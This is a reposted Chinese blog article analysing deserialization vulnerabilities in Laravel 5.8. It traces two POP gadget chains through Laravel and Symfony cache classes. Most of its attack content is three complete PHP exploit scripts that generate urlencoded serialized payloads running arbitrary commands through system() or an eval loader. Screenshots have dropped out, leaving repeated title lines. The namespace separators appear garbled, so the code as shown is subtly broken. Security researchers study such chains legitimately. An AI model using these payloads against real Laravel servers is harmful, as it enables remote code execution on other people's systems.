Laravel 5.8反序列化漏洞的示例分析

这篇文章将为大家详细讲解有关Laravel 5.8反序列化漏洞的示例分析,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。

Laravel 5.8反序列化漏洞

POP链1

PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue

先看Dispatcher->dispatchToQueue,只要call_user_func的参数都可控,即可执行任意命令

Laravel 5.8反序列化漏洞的示例分析

再看pop链首

PendingBroadcast->__destruct

Laravel 5.8反序列化漏洞的示例分析

$this->events与$this->event可控。

这里需要调用Dispatcher->dispatch

Laravel 5.8反序列化漏洞的示例分析

跟进commandShouldBeQueued,只要$command属于ShouldQueue类(子类也行)即可返回true

Laravel 5.8反序列化漏洞的示例分析

跟进Dispatcher->dispatchToQueue

Laravel 5.8反序列化漏洞的示例分析

$this->queueResolver可控,$connection由传入的$command控制,也即是上面的$this->event,可控。

只要找到一个包含$connection属性的ShouldQueue的实现类即可执行任意代码。

先找到ShouldQueue的实现类如下

Laravel 5.8反序列化漏洞的示例分析

这些类自身没有$connection属性,但是一些类使用的trait类Queueable中有$connection,如下

Laravel 5.8反序列化漏洞的示例分析

故如下类,可用

QueuedCommand
BroadcastEvent
SendQueuedNotifications
CallQueuedClosure

至此已可编写exp,整理一下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = 要执行的函数	
BroadcastEvent->connection = 参数	

exp1

<?php

namespace Illuminate/Bus;
class Dispatcher implements QueueingDispatcher{
    protected $queueResolver;
    
    public function __construct(){
        $this->queueResolver = "system";
    }
}

namespace Illuminate/Broadcasting;
class BroadcastEvent implements ShouldQueue{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}
    
namespace Illuminate/Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$broadcastevent = new Illuminate/Broadcasting/BroadcastEvent($argv[1]);
$dispatcher = new Illuminate/Bus/Dispatcher();
$pending = new Illuminate/Broadcasting/PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "/n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

控制broadcastevent的$connection为要执行命令的参数即可执行命令了,其他师傅没有这么做,不是很理解原因。但是下面还是说一下其他师傅的。

利用参数可控的call_user_func可调用任意类方法,如下

Laravel 5.8反序列化漏洞的示例分析

故,这里可以调用EvalLoader类的load方法,如下

Laravel 5.8反序列化漏洞的示例分析

MockDefinition类的getCode方法返回值可控,如下

Laravel 5.8反序列化漏洞的示例分析

只要控制了code并且不进入if语句(使得$definition->getClassName为一个未被载入的类),即可执行代码

跟踪getClassName方法

Laravel 5.8反序列化漏洞的示例分析

全局查找返回值可控的getName方法,发现MockConfiguration类

Laravel 5.8反序列化漏洞的示例分析

至此可编写exp,整理一下如下

PendingBroadcast->events = Dispatcher类
PendingBroadcast->event = BroadcastEvent类		//包含$connection属性的ShouldQueue的实现类	

Dispatcher->queueResolver = [EvalLoader类,"load"]		
BroadcastEvent->connection = MockDefinition类	

MockDefinition->config = MockConfiguration类		//任一getName返回值可控的类
MockDefinition->code = 要执行的代码
MockConfiguration->name = ConfigCacheCommand类	//任一未被载入的类

exp2

<?php

namespace Illuminate/Bus;
class Dispatcher{
    protected $queueResolver;
    
    public function __construct($cmd){
        $this->queueResolver = $cmd;
    }
}

namespace Illuminate/Broadcasting;
class BroadcastEvent{
    public $connection;
    
    public function __construct($cmd){
        $this->connection  = $cmd;
    }
}

namespace Mockery/Generator;
class MockDefinition{
	protected $config;
	protected $code;

	public function __construct($mockconfiguration,$code){
		$this->config = $mockconfiguration;
		$this->code = $code;
	}
}

namespace Mockery/Generator;
class MockConfiguration{
	protected $name;

	public function __construct($class){
		$this->name  = $class;
	}
}

namespace Mockery/Loader;
class EvalLoader{
}

namespace Illuminate/Foundation/Console;
class ConfigCacheCommand{
}
    
namespace Illuminate/Broadcasting;
class PendingBroadcast{
    protected $events;
    protected $event;
    
    public function __construct($events,$event){
        $this->events = $events;
        $this->event = $event;
    }   
}
$mockconfiguration = new /Mockery/Generator/MockConfiguration(new /Illuminate/Foundation/Console/ConfigCacheCommand());
$mockdefinition = new /Mockery/Generator/MockDefinition($mockconfiguration,"<?php system($argv[1]);?>");
$broadcastevent = new /Illuminate/Broadcasting/BroadcastEvent($mockdefinition);
$dispatcher = new /Illuminate/Bus/Dispatcher(array(new /Mockery/Loader/EvalLoader(),"load"));
$pending = new /Illuminate/Broadcasting/PendingBroadcast($dispatcher,$broadcastevent);

echo urlencode(serialize($pending));
echo "/n";
?>

Laravel 5.8反序列化漏洞的示例分析

POP链2

TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave

先看命令执行处

Laravel 5.8反序列化漏洞的示例分析

若ProxyAdapter->setInnerItem、$innerItem、$item可控,则可命令执行。

回到POP链首

TagAwareAdapter->__destruct

Laravel 5.8反序列化漏洞的示例分析

跟进,TagAwareAdapter->commit

Laravel 5.8反序列化漏洞的示例分析

跟进,TagAwareAdapter->invalidateTags(截取部分)

Laravel 5.8反序列化漏洞的示例分析

令$this->pool=ProxyAdapter类

跟进ProxyAdapter->saveDeferred

Laravel 5.8反序列化漏洞的示例分析

跟进ProxyAdapter->doSave

Laravel 5.8反序列化漏洞的示例分析

首先,$item为我们传入的参数,也即是$TagAwareAdapter->deferred,可控。

204行的if语句,只要使得$item为CacheItem的实例即可通过。

$this->setInnerItem为ProxyAdapter的属性,可控。

$innerItem可通过代码213行控制
Laravel 5.8反序列化漏洞的示例分析

至此可以编写exp,整理一下

$TagAwareAdapter->deferred = ["4ut15m",CacheItem类]
$TagAwareAdapter->pool = ProxyAdapter类

$ProxyAdapter->setInnerItem = "system";
$ProxyAdapter->poolHash = "4ut15m";

$CacheItem->innerItem = 要执行的命令
$CacheItem->poolHash = "4ut15m";

这条链并不复杂,具体的内容看exp

exp

<?php

namespace Symfony/Component/Cache/Adapter;
class TagAwareAdapter{
	private $deferred;
	private $pool;

	public function __construct($obj, $obj2){
		$this->deferred = array("4ut15m" => $obj2);
		$this->pool = $obj;
	}

}

namespace Symfony/Component/Cache;
final class CacheItem{
	protected $innerItem;
	protected $poolHash;
	public function __construct($cmd){
		$this->innerItem = "$cmd";
		$this->poolHash = "4ut15m";
	}
}

namespace Symfony/Component/Cache/Adapter;
class ProxyAdapter{
	private $setInnerItem;
	private $poolHash;
	public function __construct(){
		$this->setInnerItem = "system";
		$this->poolHash = "4ut15m";
	}
}


$cacheitem = new /Symfony/Component/Cache/CacheItem($argv[1]);
$proxyadapter = new /Symfony/Component/Cache/Adapter/ProxyAdapter();

$TagAwareAdapter = new /Symfony/Component/Cache/Adapter/TagAwareAdapter($proxyadapter, $cacheitem);

echo urlencode(serialize($TagAwareAdapter));
echo "/n";
?>

Laravel 5.8反序列化漏洞的示例分析

Laravel 5.8反序列化漏洞的示例分析

关于“Laravel 5.8反序列化漏洞的示例分析”这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,使各位可以学到更多知识,如果觉得文章不错,请把它分享出去让更多的人看到。

原创文章,作者:745907710,如若转载,请注明出处:https://blog.ytso.com/221848.html

(0)
上一篇 2022年1月4日
下一篇 2022年1月4日

相关推荐

发表回复

登录后才能评论